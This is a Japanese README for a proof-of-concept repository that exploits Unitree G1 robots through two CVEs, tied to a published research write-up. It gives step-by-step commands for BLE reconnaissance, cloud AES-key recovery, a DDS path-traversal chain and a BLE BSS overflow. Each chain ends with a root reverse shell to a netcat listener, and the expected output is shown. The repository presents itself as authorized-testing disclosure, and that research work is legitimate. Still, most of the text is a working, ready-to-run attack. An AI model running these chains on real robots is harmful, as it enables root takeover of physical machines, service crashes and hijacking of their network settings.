
Unitree G1 RCE PoC & Scripts (CVE-2026-76639 / CVE-2026-76640) 技術詳細は boschko.ca/g1-ble-rce/ を参照
Unitree G1 RCE PoC & スクリプト (CVE-2026-76639 / CVE-2026-76640) の技術的詳細は boschko.ca/g1-ble-rce/ にあります。
このリポジトリは、テストを許可されているロボット、アカウント、ネットワークでのみ使用してください。アクティブなチェーンは、ロボットの WiFi 設定を変更したり、サービスを停止または再起動したり、btgatt-server をクラッシュさせたり、root としてコマンドを実行したりする可能性があります。
| パス | 内容 |
|---|---|
ble-scanning | BLE ディスカバリ、未ペアリング GATT 列挙、シリアル番号の検出、および暗号化されたブートストラップブロブのキャプチャ |
cloud-oracle | 過去の /device/bindExtData キー復元フローの再現 |
chatgo-bashrunner-rce | WebRTC でラップされた DDS パストラバーサルと bashrunner コマンド実行チェーン |
pure-dds-rce | 同じ DDS サービスチェーンをネイティブ Cyclone DDS で直接実装したもの |
ble-full-chain-rce | アクティブな BLE から root までのチェーン: ブートストラップ、クラウドキー復元、WiFi プロビジョニング、PIE 情報漏洩、BSS オーバーフロー |
scanning-tools | 研究で使用された低レベルの BLE、DDS、WebRTC、およびサービス列挙ユーティリティ |
ble-bss-overflow.html | 1,050 バイトの btgatt-server BSS オーバーフローのインタラクティブなウォークスルー |
0xF1 や 0xF2 などの値は BLE ワイヤプロトコルのオペコードです。これらは検出番号ではありません。
名前は同梱コンポーネントと一致するように保たれています: btgatt-server は脆弱な BLE プロセスであり、chat_go と bashrunner は Unitree のサービス/モジュール名です。このリポジトリ内のネイティブ概念実証実行ファイルは loco_rce という名前です。
Python 3.11 以降を推奨します。
以下のコマンド例はリポジトリのルートから開始します。シェル変数を入力する例では Bash 構文を使用しています。
git clone <repository-url>
cd githubunitreepoc
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
BLE アクセスはホストプラットフォームに依存します。macOS では、Bleak が出力するアドレスは無線の MAC アドレスではなく CoreBluetooth の UUID です。
これらのヘルパーは物理的な BLE 近接を必要としますが、Unitree アカウント、AES キー、事前のペアリングは不要です。
G1 が公開している GATT サービスとキャラクタリスティックの権限を列挙します:
python3 ble-scanning/01_ble_gatt_enum.py
ロボットのシリアル番号を復元します:
python3 ble-scanning/discover_sn.py --timeout 30
discover_sn.py はまず BLE の製造元データを確認します。アドバタイズメントにシリアル番号が含まれていない場合は、接続して平文の 0xF1 リクエストを試みます。接続を伴うこのフォールバックを無効にするには --passive-only を追加してください。
RSA 暗号化された 0xF2 ブートストラップブロブをキャプチャし、クラウドリカバリの手順のために保存します:
python3 ble-scanning/02_ble_bootstrap.py \
--output ble-scanning/bootstrap-blob.txt
典型的な出力はここでは意図的に省略されています:
Scanning for a Unitree G1 (10s)...
Found <robot-name> at <BLE-address> (<RSSI> dBm)
Connecting to <BLE-address>...
Sending opcode 0xF2 (0055543235f2fe)
Received 4 notifications
Encrypted bootstrap blob (344 Base64 characters):
<encrypted-blob>
Saved to ble-scanning/bootstrap-blob.txt
blob は暗号文であり、平文の AES 鍵ではありません。
cloud-oracle/03_cloud_oracle.py は、アプリの過去の鍵復元フローを再現します:
GET /system/pubKey からクラウドの RSA 公開鍵を取得します。POST /device/bindExtData に送信します。現在のサーバーではロボットの所有権が強制される場合があります。対象のロボットに対して認可されたアカウントを使用してください。
ヘルパーを実行し、そのプロンプトに回答します:
python3 cloud-oracle/03_cloud_oracle.py --show-http --redact
アカウント、ロボットのシリアル番号、bootstrap-blob のパスを入力するよう求められます。上記で作成したファイルには ble-scanning/bootstrap-blob.txt を使用してください。--redact は、出力される curl 再現コマンド内のアクセストークンと復元された AES キーを隠すため、出力をより安全に共有できます。
復元されたキーを出力するプライベート実行では、--redact を省略します:
python3 cloud-oracle/03_cloud_oracle.py
アクセストークン、アカウント認証情報、ロボットキー、シリアル番号、キャプチャした blob を issue や公開されたターミナルログに貼り付けないでください。
chat_go → bashrunner チェーンこの PoC は、WebRTC データチャネルを介してロボットの DDS サービスに到達します。対象ロボットの AES-128 キーと、ロボットの内部イーサネットネットワークに接続されたホストが必要です。
テストネットワークに合わせてホストのインターフェースを設定してください。PoC のデフォルトはロボット 192.168.123.161、コールバックアドレス 192.168.123.55 です。
最初のターミナルでリスナーを起動します:
nc -lv 4444
2つ目のターミナルで、リポジトリにコミットせずに32文字の16進数AESキーを指定し、その後チェーンを実行します:
read -rsp "Robot AES-128 key: " UNITREE_AES_KEY
echo
export UNITREE_AES_KEY
python3 chatgo-bashrunner-rce/reverse_shell_standalone.py \
<callback-ip> 4444
予想される出力:
[*] Callback: <callback-ip>:4444
[*] Connecting via WebRTC...
[+] WebRTC connected + validated
[*] Starting chat_go...
[+] chat_go alive
[*] Uploading payload (path traversal)...
[+] Payload written
[*] Restarting bashrunner...
[+] bashrunner restarted
[*] Executing reverse shell...
[?] code=TIMEOUT — check listener anyway
[*] Done
最終的な DDS リクエストは、ターゲットサービスの再起動や実行が応答経路を妨害するため、タイムアウトする可能性があります。そのタイムアウトだけを失敗とみなすのではなく、リスナーから成功を確認してください。
終了したらシェル変数をクリアします:
unset UNITREE_AES_KEY
ネイティブクライアントは DDS ドメイン 0 に直接参加します。WebRTC やロボットの AES キーは使用しません。
同梱の pure-dds-rce/prebuilt_aarch64/loco_rce 実行ファイルと Cyclone DDS ランタイムは Linux AArch64 向けです。この実行ファイルは libddsc.so.11 にリンクしており、リポジトリにはそのシンボリックリンクとリンク先の libddsc.so.11.0.1 が含まれています。
ロボットの内部イーサネットネットワークに接続された AArch64 Linux ホスト上で:
ランチャーは UNITREE_LOCAL_CIDR を割り当てる前に、UNITREE_IFACE から既存のアドレスをフラッシュします。専用のラボ用インターフェースを使用し、実行前にインターフェース名を再確認してください。
./pure-dds-rce/run_exploit_c.sh
引用符で囲んだ引数を指定して、別のコマンドを実行します:
./pure-dds-rce/run_exploit_c.sh 'id && hostname && uname -a'
ランチャーはデフォルトでインターフェース eth0、ローカルアドレス 192.168.123.55/24、ロボットアドレス 192.168.123.161 を使用します。必要に応じてこれらを上書きしてください:
UNITREE_IFACE=<ethernet-interface> \
UNITREE_LOCAL_CIDR=<host-address>/<prefix> \
UNITREE_ROBOT_IP=<robot-address> \
./pure-dds-rce/run_exploit_c.sh
ソースビルドの手順と期待される出力については、pure-dds-rce/README.md を参照してください。
これはリポジトリ内で最も影響の大きい PoC です。ロボットの WiFi 設定を変更し、指定されたアクセスポイントへ移動させ、PIE ベースを取得し、BSS オーバーフローを送り込み、コールバックを起動した後に意図的に btgatt-server をクラッシュさせます。
リスナーを起動します:
nc -lv 5560
認証情報を一時的なシェル変数に読み込み、そのリテラル値がこのREADMEやシェルコマンド自体に表示されないようにします:
read -rp "Unitree account email: " UNITREE_EMAIL
read -rsp "Unitree account password: " UNITREE_PASSWORD
echo
read -rp "Robot serial number: " UNITREE_SN
read -rp "Lab AP SSID: " LAB_AP_SSID
read -rsp "Lab AP password: " LAB_AP_PSK
echo
チェーンを実行します:
python3 ble-full-chain-rce/poc_exploit_standalone.py \
--email "$UNITREE_EMAIL" \
--password "$UNITREE_PASSWORD" \
--ssid "$LAB_AP_SSID" \
--psk "$LAB_AP_PSK" \
--callback-ip <host-ip-on-lab-ap> \
--callback-port 5560
コールバックアドレスは、--ssid で指定したアクセスポイント上におけるテストホストの現在のアドレスでなければなりません。以前のホットスポットセッションで使用したアドレスを再利用しないでください。--callback-ip が省略されているか古い場合、PoC は現在のホットスポット向けアドレスを自動的に選択しようとします。
識別情報および秘密の値を削除した、想定される出力形式:
BLE bootstrap capture encrypted AES blob
RSA blob captured (344 chars)
Logged in as <account>
AES-128 key <redacted>
Injecting SSID: <lab-ap>
Handshake OK
Auto-discovering robot on <lab-subnet> (scanning port 9991)...
Robot found at <robot-ip> (port 9991 open)
PIE base: <runtime-address>
system@PLT: <runtime-address>
1050B -> 21 chunks
Connection 1/3: chunks 1-7
Connection 2/3: chunks 8-14
Connection 3/3: chunks 15-21
chunk 21/21 crash (ok)
Check your nc listener for a shell.
この概念実証では、最終的なクラッシュが想定されています。クリーンアップはまず偽造された destroy(user_data) 関数ポインタを呼び出し、その後、偽造された BSS エントリを free() に渡すため、btgatt-server がアボートします。
終了したら一時変数をクリアします:
unset UNITREE_EMAIL UNITREE_PASSWORD UNITREE_SN LAB_AP_SSID LAB_AP_PSK
スタンドアロンのHTMLページでは、ペイロードのレイアウト、21回のBLE書き込み、epoll_terminateトリガー、および偽造されたmainloop_list[2]クリーンアップエントリを可視化します。
リポジトリのルートから:
python3 -m http.server 8000
http://localhost:8000/ble-bss-overflow.html を開きます。このページ自体は、公開されている ds.css リポジトリから読み込まれる Nintendo DS フォントを除いてスタンドアロンです。